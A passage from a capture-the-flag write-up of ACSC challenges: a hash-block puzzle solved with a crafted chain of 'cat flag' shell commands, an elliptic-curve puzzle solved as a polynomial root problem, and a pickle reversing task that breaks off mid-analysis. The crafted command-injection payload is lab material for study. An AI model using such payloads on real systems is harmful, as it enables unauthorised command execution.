('000000000000000000000000000000000000000000000000', [2, 9, 10, 17, 20, 21, 26, 27, 29, 34, 39, 51, 56, 59, 90, 93, 97, 98, 100, 106, 107, 109, 114, 117])
('000000000000000000000000000000000000000000000000', [2, 5, 9, 13, 20, 21, 24, 29, 40, 41, 43, 46, 51, 52, 57, 59, 66, 82, 90, 100, 107, 109, 110, 117])
('000000000000000000000000000000000000000000000000', [2, 5, 9, 10, 16, 26, 27, 34, 42, 43, 46, 51, 57, 59, 66, 69, 75, 90, 104, 107, 109, 112, 114])
('000000000000000000000000000000000000000000000000', [2, 5, 7, 9, 17, 21, 24, 26, 46, 58, 81, 82, 88, 90, 97, 100, 102, 104, 106, 109, 110, 115])
('000000000000000000000000000000000000000000000000', [2, 5, 7, 9, 10, 17, 20, 22, 24, 26, 28, 29, 34, 40, 43, 57, 66, 70, 75, 82, 90, 97, 100, 104, 110, 115])
('000000000000000000000000000000000000000000000000', [2, 3, 9, 10, 13, 20, 24, 25, 27, 28, 34, 40, 41, 43, 51, 57, 58, 66, 90, 104, 106, 107, 110, 117])
('000000000000000000000000000000000000000000000000', [2, 3, 7, 9, 13, 16, 17, 22, 28, 29, 34, 43, 51, 56, 57, 66, 68, 75, 81, 90, 97, 98, 100, 106, 117])
('000000000000000000000000000000000000000000000000', [2, 3, 5, 9, 16, 24, 26, 28, 29, 40, 51, 55, 56, 57, 58, 66, 75, 81, 82, 88, 90, 93, 97, 98, 115])
('000000000000000000000000000000000000000000000000', [2, 3, 5, 9, 10, 13, 21, 27, 29, 41, 46, 58, 69, 78, 81, 82, 90, 93, 104, 109, 112, 115, 117])
('000000000000000000000000000000000000000000000000', [1, 9, 13, 16, 20, 21, 22, 26, 29, 34, 40, 51, 58, 81, 88, 90, 97, 100, 103, 106, 109, 110, 112, 117])
('000000000000000000000000000000000000000000000000', [1, 7, 9, 10, 13, 17, 20, 21, 26, 27, 28, 29, 40, 41, 46, 51, 56, 57, 69, 75, 80, 88, 90, 93, 100, 104, 106, 107, 110, 114, 117])
('000000000000000000000000000000000000000000000000', [1, 7, 13, 17, 20, 21, 26, 36, 41, 46, 59, 90, 93, 97, 98, 110, 112, 117])
('000000000000000000000000000000000000000000000000', [1, 5, 10, 16, 17, 27, 46, 49, 51, 58, 69, 75, 81, 90, 107, 109, 117])
('000000000000000000000000000000000000000000000000', [1, 5, 7, 9, 16, 17, 22, 28, 29, 40, 41, 43, 46, 56, 58, 66, 69, 75, 81, 82, 90, 93, 98, 100, 106, 108, 115])
('000000000000000000000000000000000000000000000000', [1, 5, 7, 9, 10, 16, 20, 24, 28, 34, 41, 46, 48, 57, 59, 82, 90, 97, 106, 107, 112, 114, 115])
('000000000000000000000000000000000000000000000000', [1, 5, 7, 21, 22, 24, 34, 40, 58, 59, 67, 69, 75, 88, 90, 98, 104, 106, 107, 112, 114, 115])
('000000000000000000000000000000000000000000000000', [1, 5, 7, 13, 16, 17, 21, 24, 28, 30, 34, 40, 46, 56, 57, 58, 59, 66, 75, 82, 88, 90, 93, 97, 100, 104, 106, 107, 109, 110, 112, 114, 115])
('000000000000000000000000000000000000000000000000', [1, 2, 13, 16, 17, 20, 22, 24, 27, 29, 34, 38, 46, 56, 58, 66, 75, 88, 90, 93, 97, 98, 104, 109, 112, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 7, 27, 29, 41, 43, 59, 69, 75, 90, 98, 114, 115, 117, 118])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 9, 13, 16, 21, 22, 46, 56, 57, 58, 59, 61, 66, 81, 90, 93, 97, 107, 110, 114])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 9, 10, 18, 21, 24, 27, 28, 29, 34, 40, 43, 46, 51, 57, 58, 88, 90, 93, 97, 106, 107, 110, 112, 114, 115, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 17, 21, 26, 29, 40, 46, 51, 56, 57, 59, 62, 88, 90, 97, 98, 104, 109, 110, 112, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 7, 9, 10, 16, 17, 20, 26, 27, 46, 51, 57, 59, 73, 81, 90, 93, 97, 100, 104, 106, 114])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 7, 10, 12, 13, 17, 21, 22, 26, 27, 28, 34, 46, 59, 66, 69, 82, 88, 90, 109, 112, 115])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 7, 8, 9, 16, 20, 24, 26, 34, 40, 41, 43, 46, 58, 59, 66, 69, 82, 90, 93, 100, 106, 107, 109, 112])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 5, 9, 17, 24, 26, 27, 32, 40, 43, 46, 57, 82, 88, 90, 97, 106, 107, 109, 110, 112, 114, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 5, 9, 13, 17, 24, 34, 43, 45, 51, 57, 58, 59, 66, 75, 88, 90, 93, 98, 104, 109, 112])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 5, 7, 11, 17, 20, 26, 28, 29, 41, 51, 57, 58, 69, 75, 90, 93, 100, 104, 109, 112, 117])
('000000000000000000000000000000000000000000000000', [0, 3, 5, 9, 10, 20, 26, 27, 28, 40, 56, 57, 58, 69, 81, 90, 98, 104, 106, 107, 110, 112, 114])
('000000000000000000000000000000000000000000000000', [9, 13, 20, 21, 26, 28, 43, 46, 51, 66, 69, 81, 97, 98, 100, 106, 107, 110, 112, 114, 115, 119])
('000000000000000000000000000000000000000000000000', [5, 9, 10, 13, 20, 22, 27, 28, 40, 46, 57, 59, 66, 69, 81, 87, 97, 100, 106, 107, 110, 115, 117])
('000000000000000000000000000000000000000000000000', [5, 7, 9, 17, 27, 28, 29, 34, 46, 51, 56, 59, 66, 81, 93, 97, 100, 109, 111, 112, 114, 115, 117])
('000000000000000000000000000000000000000000000000', [2, 7, 9, 13, 16, 21, 22, 34, 40, 57, 59, 76, 82, 88, 93, 110, 112, 115, 117])
('000000000000000000000000000000000000000000000000', [2, 7, 9, 10, 17, 21, 22, 24, 26, 29, 41, 43, 46, 56, 57, 59, 66, 69, 81, 82, 91, 97, 98, 106, 107, 110, 112, 115])
('000000000000000000000000000000000000000000000000', [2, 5, 10, 13, 16, 17, 20, 21, 22, 26, 28, 29, 34, 40, 46, 51, 56, 57, 58, 59, 66, 69, 81, 82, 85, 104, 109, 112, 115])
('000000000000000000000000000000000000000000000000', [2, 5, 7, 13, 17, 21, 24, 26, 28, 33, 58, 59, 69, 93, 97, 98, 106, 109, 110, 114, 115, 117])
('000000000000000000000000000000000000000000000000', [2, 5, 7, 9, 15, 17, 21, 22, 27, 41, 43, 58, 66, 81, 82, 88, 98, 104, 106, 107, 109, 112, 114, 115])
('000000000000000000000000000000000000000000000000', [2, 3, 13, 17, 20, 26, 27, 28, 29, 43, 56, 57, 58, 59, 82, 86, 88, 93, 97, 98, 100, 106, 107, 109, 110])
('000000000000000000000000000000000000000000000000', [2, 3, 7, 10, 21, 22, 24, 40, 41, 43, 51, 56, 59, 66, 74, 75, 81, 82, 88, 106, 107, 114, 115, 117])
('000000000000000000000000000000000000000000000000', [2, 3, 7, 10, 13, 16, 17, 21, 22, 24, 26, 41, 46, 58, 69, 71, 75, 81, 93, 107, 112, 115, 117])
('000000000000000000000000000000000000000000000000', [2, 3, 5, 10, 16, 17, 20, 26, 27, 28, 34, 43, 46, 57, 59, 66, 81, 82, 88, 100, 101, 106, 107, 109, 112, 117])
('000000000000000000000000000000000000000000000000', [2, 3, 5, 9, 10, 17, 20, 22, 26, 27, 29, 37, 40, 41, 51, 56, 58, 75, 81, 93, 97, 98, 100, 106, 107, 110, 115])
('000000000000000000000000000000000000000000000000', [2, 3, 5, 6, 9, 13, 20, 21, 29, 40, 41, 46, 51, 56, 57, 69, 75, 82, 88, 93, 100, 106, 109, 110, 112, 115, 117])
('000000000000000000000000000000000000000000000000', [1, 9, 17, 20, 21, 22, 26, 27, 28, 34, 40, 41, 43, 46, 51, 56, 58, 59, 69, 75, 82, 93, 95, 97, 100, 104, 109, 112, 114, 117])
('000000000000000000000000000000000000000000000000', [1, 9, 16, 20, 21, 22, 26, 27, 28, 34, 41, 51, 56, 58, 59, 64, 66, 69, 75, 81, 88, 97, 98, 107, 109, 110, 112, 115, 117])
('000000000000000000000000000000000000000000000000', [1, 9, 10, 14, 17, 20, 22, 24, 26, 34, 43, 46, 57, 66, 75, 81, 82, 88, 97, 98, 100, 106, 109, 110, 117])
('000000000000000000000000000000000000000000000000', [1, 7, 9, 13, 16, 17, 20, 22, 28, 34, 46, 51, 57, 59, 75, 82, 88, 89, 97, 98, 100, 107, 109, 112, 114])
('000000000000000000000000000000000000000000000000', [1, 5, 9, 16, 21, 24, 26, 28, 34, 35, 40, 41, 43, 51, 57, 59, 69, 75, 81, 82, 97, 98, 100, 109, 112, 115])
('000000000000000000000000000000000000000000000000', [1, 3, 10, 13, 17, 21, 24, 28, 34, 41, 46, 56, 57, 58, 59, 66, 81, 82, 88, 97, 98, 99, 109, 117])
('000000000000000000000000000000000000000000000000', [1, 3, 7, 9, 10, 16, 17, 24, 27, 29, 34, 41, 46, 56, 57, 58, 60, 69, 75, 93, 97, 98, 100, 106, 107, 109, 114])
('000000000000000000000000000000000000000000000000', [1, 3, 5, 9, 16, 17, 20, 26, 27, 28, 29, 34, 41, 46, 66, 72, 75, 93, 98, 104, 107, 110, 114, 115, 117])
('000000000000000000000000000000000000000000000000', [1, 3, 5, 9, 13, 16, 20, 22, 24, 28, 29, 34, 46, 57, 58, 69, 81, 82, 93, 97, 104, 106, 107, 110, 113, 115])
('000000000000000000000000000000000000000000000000', [1, 3, 5, 7, 13, 16, 17, 20, 21, 22, 26, 29, 40, 41, 46, 50, 51, 56, 57, 58, 59, 66, 81, 82, 88, 93, 97, 100, 106, 109, 117])
('000000000000000000000000000000000000000000000000', [1, 3, 5, 7, 9, 13, 16, 17, 20, 21, 22, 24, 27, 29, 34, 43, 46, 51, 56, 57, 59, 63, 69, 88, 100, 107, 110, 112, 114, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 9, 10, 13, 16, 20, 26, 34, 40, 41, 43, 51, 56, 57, 58, 69, 75, 81, 82, 88, 93, 97, 98, 109, 110, 114, 115, 116, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 7, 17, 20, 22, 27, 28, 29, 34, 51, 53, 57, 58, 59, 66, 88, 93, 97, 100, 109, 110, 115, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 7, 13, 17, 22, 24, 26, 27, 28, 40, 47, 56, 58, 59, 69, 75, 81, 82, 98, 109, 114, 115])
('000000000000000000000000000000000000000000000000', [1, 2, 5, 10, 16, 17, 21, 22, 24, 28, 29, 34, 40, 56, 81, 88, 94, 106, 107, 109, 110, 112])
('000000000000000000000000000000000000000000000000', [1, 2, 5, 7, 13, 17, 28, 34, 40, 43, 46, 56, 57, 58, 69, 93, 105, 107, 109])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 22, 24, 26, 34, 43, 51, 56, 57, 58, 59, 69, 81, 88, 96, 109, 115, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 13, 16, 20, 21, 22, 23, 24, 26, 40, 41, 43, 58, 59, 81, 97, 98, 100, 104, 106, 112, 114, 115, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 10, 16, 24, 27, 41, 46, 51, 56, 58, 59, 79, 81, 98, 109, 110, 114, 115, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 9, 16, 19, 22, 29, 34, 43, 46, 51, 58, 66, 69, 81, 82, 97, 104, 106, 107, 110, 112, 114, 115, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 9, 10, 16, 17, 20, 24, 28, 29, 31, 40, 41, 46, 56, 58, 59, 66, 75, 81, 82, 88, 97, 98, 104, 107, 109, 110, 115])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 5, 9, 10, 13, 16, 20, 24, 26, 40, 41, 43, 51, 56, 57, 59, 66, 69, 77, 88, 93, 97, 98, 106, 110, 115])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 5, 7, 10, 17, 20, 21, 22, 24, 26, 29, 34, 40, 43, 46, 58, 65, 93, 97, 98, 107, 112, 115, 117])
('000000000000000000000000000000000000000000000000', [1, 2, 3, 4, 9, 10, 13, 17, 21, 26, 27, 28, 34, 40, 51, 56, 57, 59, 81, 93, 98, 106, 107, 112])
```
Used blocks for the target hash:
```
[5, 9, 21, 22, 24, 26, 43, 51, 56, 66, 69, 75, 88, 90, 98, 100, 115]
Payload:
cat flag ; cat flag ; cat flag; cat flag ; cat flag ; cat flag; cat flag; cat flag ; cat flag ; cat flag ; cat flag ; cat flag; cat flag ; cat flag; cat flag ; cat flag; cat flag;cat flag; cat flag; cat flag; cat flag; cat flag; cat flag; cat flag; cat flag; echo ' '
Blocks:
0123456789abcdef
cat flag ;
cat flag ;
cat flag;
cat flag ;
cat flag ;
cat flag;
cat flag;
cat flag ;
cat flag ;
cat flag ;
cat flag ;
cat flag;
cat flag ;
cat flag;
cat flag ;
cat flag;
cat flag;
Padded blocks:
cat flag;
cat flag;
cat flag;
cat flag;
cat flag;
cat flag;
cat flag;
cat flag;
echo '
'
```
If we want to have a guaranteed fast result, then we can reduce the used hash length:
```
# only use 50 blocks
blocksv = blocksv[:50]
```
Alternatively, we can randomly pick 50 blocks until the result is desired.
(The intended solution, as seen in the flag, should be MITM (meet-in-the-middle) attack of more than 2^24 hashes for a pair giving the target hash)
## Swap on Curve (crypto) (Score: 250, 34 Solves)
### Source (task.sage)
```python=
from params import p, a, b, flag, y
x = int.from_bytes(flag, "big")
assert 0 < x < p
assert 0 < y < p
assert x != y
EC = EllipticCurve(GF(p), [a, b])
assert EC(x,y)
assert EC(y,x)
print("p = {}".format(p))
print("a = {}".format(a))
print("b = {}".format(b))
```
### Analysis
Parameters for an EllipticCurve is retrieved from `params`.
The task is to find an x-coordinante such that (x, y) and (y, x) are both valid points on the curve.
Though is challenge is involving elliptic curve, it is actually just solving the following system of modular equations:
$$
\left\{
\begin{array}{}
y^2 = x^3 + ax + b \\
x^2 = y^3 + ay + b
\end{array}
\right.\\
\left\{
\begin{array}{rl}
x^2 - b &= y^3 + ay \\
y^2 &= x^3 + ax + b
\end{array}
\right.\\
\left\{
\begin{array}{rl}
x^2 - b &= y(y^2 + a) \\
y^2 &= x^3 + ax + b
\end{array}
\right.\\
\left\{
\begin{array}{rl}
(x^2 - b)^2 &= y^2(y^2 + a)^2 \\
y^2 &= x^3 + ax + b
\end{array}
\right.\\
(x^2 - b)^2 = (x^3 + ax + b)(x^3 + ax + b + a)^2
$$
Therefore we can simply solve it using sage `solves()`:
```python=
p = 10224339405907703092027271021531545025590069329651203467716750905186360905870976608482239954157859974243721027388367833391620238905205324488863654155905507
a = 4497571717921592398955060922592201381291364158316041225609739861880668012419104521771916052114951221663782888917019515720822797673629101617287519628798278
b = 1147822627440179166862874039888124662334972701778333205963385274435770863246836847305423006003688412952676893584685957117091707234660746455918810395379096
R.<x> = IntegerModRing(p)[]
f = x ** 3 + a * x + b
r = ((x^2 - b)^2 - f * (f + a) ^ 2).roots()
for root in r:
print(bytes.fromhex(hex(root[0])[2:]))
```
Output:
```
b'\x93\n)jF\x82K\xabgIM\xbc\xfeT\x8c\xf8&b\xc4\xd7\xb08?\xf8\xfb\xa7\xb2\x8e.\xf32\xffKIX\x0e\\\xf3Bq\x9f\xd3\x97\x922H\xa1\xe0\xeblE\xa5\x13\xaf\x06\xd8t\x84\x834\xd2\xdeD\x8c'
b'\x92\x98;^i\t\x8a\xe2h1\xae\xd0YYYXEV\x02ZKp\xc5\x05\xabF\xe1\x98\x83\x92\x80\xc2f\xf6\x7f\xe0\x96\x84jN\x18\xa4\xa1\x92\xbe\x98!\x95o\xd5\x1f\xc46OyrVq\x89G\x14\xc3D\xa2'
b'ACSC{have_you_already_read_the_swap<-->swap?})\xd6\x82a\x076s;\x1e\xaf\x13\x92\x1f)\x997-h\xd8'
```
Flag: `ACSC{have_you_already_read_the_swap<-->swap?}`
## Pickle Rick (rev) (Score: 220, 121 Solves)
### Source (chal.py)
```python=
# /usr/bin/env python3
import pickle
import sys
# Check version >= 3.9
if sys.version_info[0] != 3 or sys.version_info[1] < 9:
print("Check your Python version!")
exit(0)
# This function is truly amazing, so do not fix it!
def amazing_function(a, b, c=None):
if type(b) == int:
return a[b]
else:
return (
f"CORRECT! The flag is: ACSC{{{c.decode('ascii')}}}" if a == b else "WRONG!"
)
with open("rick.pickle", "rb") as f:
pickle_rick = f.read()
rick_says = b"Wubba lubba dub-dub!!" # What is the right input here?
assert type(rick_says) == bytes and len(rick_says) == 21
pickle.loads(pickle_rick)
```
### Analysis
The program requires Python version 3.9 in order to run.
A function `amazing_function` is used to do something "amazing".
The program loads a pickle dump file `rick.pickle`, which checks rick_says and the check result is from the else part of the `amazing_function`.
### Prelude
_This solution does not really reverse the code from the pickle, but dynamically analyzes through differential analysis, which is useful when the function is simple but the code is complicated._
For the pickle file, we can actually dissemble the code using `pickletools`:
```python=
import pickletools
pickletools.dis(pickle_rick, out=open("rick.byte", "w"))
```
The result is something like this:
```
0: c GLOBAL 'builtins print'
16: T BINSTRING '(some ascii art)'
17122: \x85 TUPLE1
17123: R REDUCE
17124: c GLOBAL 'builtins print'
17140: S STRING 'Pickle Rick says:'
17161: \x85 TUPLE1
17162: R REDUCE
17163: c GLOBAL 'builtins print'
17179: c GLOBAL '__main__ rick_says'
17199: \x85 TUPLE1
17200: R REDUCE
17201: c GLOBAL 'builtins print'
17217: S STRING 'The flag machine says:'
...
```
Since it looks complicated, and online tools cannot directly decompile it (e.g. [Fickling](https://github.com/trailofbits/fickling/), and some people seem to be able to patch that to process this file), so I have chosen not to deal with this file.
### Solution
Let us check what happens by default:
```
`.inWWx*.
`izW@MxnnnxMn;
`*WWxnnnnnnnnnnxx*`
:MWnnnznnnnnnnnnnnxxi`
`#@xnn#***+#+nnnnnnnnnxn,
...
Skipped
...
.#WMnnnnnnnnnnnnnnnnnnnnnnnxWW#,
`ixWMxnnnnnnnnnnnnnnnnxW@ni`
.izMWWMxxxxxxxMMW@M#;`
`.;+#nxxxzz+*;.` http://www.asciify.net/ascii/ascii/11190
Pickle Rick says:
b'Wubba lubba dub-dub!!'
The flag machine says:
WRONG!
```
Though we do not know what is happening, but we know that the `WRONG!` is printed in the `else` part of `amazing_function`.
Also, seems the ascii art is somehow blocking the screen, so I decided to patch the `print` function, and log the arguments that are passed to the `amazing_function` first.
```python=
# This function is truly amazing, so do not fix it!
def amazing_function(a, b, c=None):
print(a, b, c, p=True)
if type(b) == int:
return a[b]
else:
return (
f"CORRECT! The flag is: ACSC{{{c.decode('ascii')}}}" if a == b else "WRONG!"
)
import builtins
print2 = builtins.print
def myprint(*x, p=False, **y):
if p or type(x[0]) != str: # string will no longer be printed out
print2(*x, **y)
builtins.print = myprint
```
We can see the output as below:
```
b'Wubba lubba dub-dub!!'
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 0 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 1 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 2 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 3 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 4 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 5 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 6 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 7 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 8 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 9 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 10 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 11 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 12 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 13 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 14 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 15 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 16 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 17 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 18 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 19 None
[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176] 20 None
(186, 184, 21, 250, 11, 124, 181, 191, 56, 105, 227, 225, 140, 207, 68, 35, 207, 87, 95, 27, 86) (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227) b'Wubba lubba dub-dub!!'
```
(Since Python 3.8 seems to run also properly, I can just remove the check version lines)
There are two things that we need to care about:
1. How `b'Wubba lubba dub-dub!!'` is converted to `[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176]`?
2. How `[77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176]` is converted to `(186, 184, 21, 250, 11, 124, 181, 191, 56, 105, 227, 225, 140, 207, 68, 35, 207, 87, 95, 27, 86)`?
We know our target is now `(53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227)`, so we can try to see if we can deal with the second thing first.
Let's see what happens if we change all elements in list `a` to be identical:
```python=
def amazing_function(a, b, c=None):
print(a, b, c, p=True)
if type(b) == int:
for x in range(len(a)):
a[x] = 69
return a[b]
else:
return (
f"CORRECT! The flag is: ACSC{{{c.decode('ascii')}}}" if a == b else "WRONG!"
)
```
```
69:
[69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69, 69] 20 None
(111, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111) (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227) b'Wubba lubba dub-dub!!'
80:
[87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87] 20 None
(183, 183, 183, 183, 183, 183, 183, 183, 183, 183, 183, 183, 183, 183, 183, 183, 183, 183, 183, 183, 183) (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227) b'Wubba lubba dub-dub!!'
169:
[169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169, 169] 20 None
(11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11) (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227) b'Wubba lubba dub-dub!!'
Mixed together:
for x in range(len(a)):
a[x] = [69, 87, 169][x%3]
[69, 87, 169, 69, 87, 169, 69, 87, 169, 69, 87, 169, 69, 87, 169, 69, 87, 169, 69, 87, 169] 20 None
(111, 183, 11, 111, 183, 11, 111, 183, 11, 111, 183, 11, 111, 183, 11, 111, 183, 11, 111, 183, 11) (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227) b'Wubba lubba dub-dub!!'
```
We can see that this is a direct substitution cipher, where 69 is mapped to 111, 87 is mapped to 182, and 169 is mapped to 11.
Therefore, we can create a substitution table for all that:
```python=
temp = 0
# This function is truly amazing, so do not fix it!
def amazing_function(a, b, c=None):
# print(a, b, c, p=True)
if type(b) == int:
for x in range(len(a)):
a[x] = x + temp
return a[b]
else:
print(str(a)[1:-1], end=", ", p=True)
return (
f"CORRECT! The flag is: ACSC{{{c.decode('ascii')}}}" if a == b else "WRONG!"
)
import builtins
print2 = builtins.print
def myprint(*x, p=False, **y):
if p: # or type(x[0]) != str:
print2(*x, **y)
builtins.print = myprint
with open("rick.pickle", "rb") as f:
pickle_rick = f.read()
rick_says = b"Wubba lubba dub-dub!!" # What is the right input here?
assert type(rick_says) == bytes and len(rick_says) == 21
for i in range(0, 256, 21):
temp = i
pickle.loads(pickle_rick)
```
Output:
```
80, 164, 173, 247, 232, 64, 96, 100, 197, 181, 249, 84, 136, 91, 68, 73, 17, 58, 27, 243, 28, 97, 43, 51, 166, 131, 187, 15, 227, 206, 146, 62, 24, 132, 234, 138, 188, 95, 168, 117, 157, 142, 48, 165, 20, 119, 69, 105, 240, 209, 205, 128, 176, 215, 50, 13, 31, 185, 171, 158, 71, 122, 241, 152, 59, 65, 56, 151, 37, 111, 7, 141, 239, 107, 22, 76, 246, 186, 98, 178, 238, 44, 30, 85, 184, 115, 226, 183, 0, 79, 154, 130, 163, 177, 3, 54, 224, 150, 53, 60, 25, 212, 89, 153, 159, 120, 219, 32, 199, 26, 63, 253, 148, 193, 33, 137, 75, 81, 70, 6, 41, 113, 23, 230, 46, 140, 9, 160, 189, 124, 192, 92, 182, 155, 202, 175, 112, 218, 245, 210, 255, 94, 83, 214, 179, 139, 248, 34, 207, 162, 49, 125, 77, 196, 217, 103, 2, 18, 55, 167, 143, 1, 223, 114, 61, 200, 235, 127, 244, 11, 133, 87, 242, 88, 52, 190, 86, 213, 14, 228, 231, 72, 78, 161, 90, 4, 102, 57, 250, 19, 121, 211, 145, 16, 116, 8, 195, 229, 208, 109, 191, 36, 204, 5, 38, 123, 110, 21, 126, 82, 221, 12, 237, 99, 216, 129, 10, 236, 67, 169, 251, 45, 254, 156, 170, 149, 74, 174, 201, 66, 108, 252, 118, 40, 144, 39, 29, 104, 42, 135, 220, 101, 147, 233, 172, 225, 93, 222, 203, 194, 134, 106, 35, 47, 180, 198, 80, 164, 173, 247, 232, 64, 96, 100, 197, 181, 249, 84, 136, 91, 68, 73, 17,
```
Here we obtained the substitution box. (Its cycle is 256)
Then we can reverse the required list:
```
sbox = [80, 164, 173, 247, 232, 64, 96, 100, 197, 181, 249, 84, 136, 91, 68, 73, 17, 58, 27, 243, 28, 97, 43, 51, 166, 131, 187, 15, 227, 206, 146, 62, 24, 132, 234, 138, 188, 95, 168, 117, 157, 142, 48, 165, 20, 119, 69, 105, 240, 209, 205, 128, 176, 215, 50, 13, 31, 185, 171, 158, 71, 122, 241, 152, 59, 65, 56, 151, 37, 111, 7, 141, 239, 107, 22, 76, 246, 186, 98, 178, 238, 44, 30, 85, 184, 115, 226, 183, 0, 79, 154, 130, 163, 177, 3, 54, 224, 150, 53, 60, 25, 212, 89, 153, 159, 120, 219, 32, 199, 26, 63, 253, 148, 193, 33, 137, 75, 81, 70, 6, 41, 113, 23, 230, 46, 140, 9, 160, 189, 124, 192, 92, 182, 155, 202, 175, 112, 218, 245, 210, 255, 94, 83, 214, 179, 139, 248, 34, 207, 162, 49, 125, 77, 196, 217, 103, 2, 18, 55, 167, 143, 1, 223, 114, 61, 200, 235, 127, 244, 11, 133, 87, 242, 88, 52, 190, 86, 213, 14, 228, 231, 72, 78, 161, 90, 4, 102, 57, 250, 19, 121, 211, 145, 16, 116, 8, 195, 229, 208, 109, 191, 36, 204, 5, 38, 123, 110, 21, 126, 82, 221, 12, 237, 99, 216, 129, 10, 236, 67, 169, 251, 45, 254, 156, 170, 149, 74, 174, 201, 66, 108, 252, 118, 40, 144, 39, 29, 104, 42, 135, 220, 101, 147, 233, 172, 225, 93, 222, 203, 194, 134, 106, 35, 47, 180, 198]
target = (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227)
print([sbox.index(x) for x in target])
```
Output:
```
[98, 59, 114, 85, 203, 16, 155, 94, 218, 48, 235, 18, 189, 14, 117, 73, 138, 209, 91, 104, 28]
```
Now what's remaining is the first stuff:
As tested before we have the following relation:
```
b'Wubba lubba dub-dub!!' [77, 84, 207, 188, 169, 129, 9, 200, 66, 47, 28, 245, 125, 148, 14, 252, 148, 171, 37, 18, 176]
```
Let's do some simple cases first:
```
b'VVVVVVVVVVVVVVVVVVVVV'
[77, 77, 77, 77, 77, 77, 77, 77, 77, 77, 77, 77, 77, 77, 77, 77, 77, 77, 77, 77, 77]
b'WWWWWWWWWWWWWWWWWWWWW'
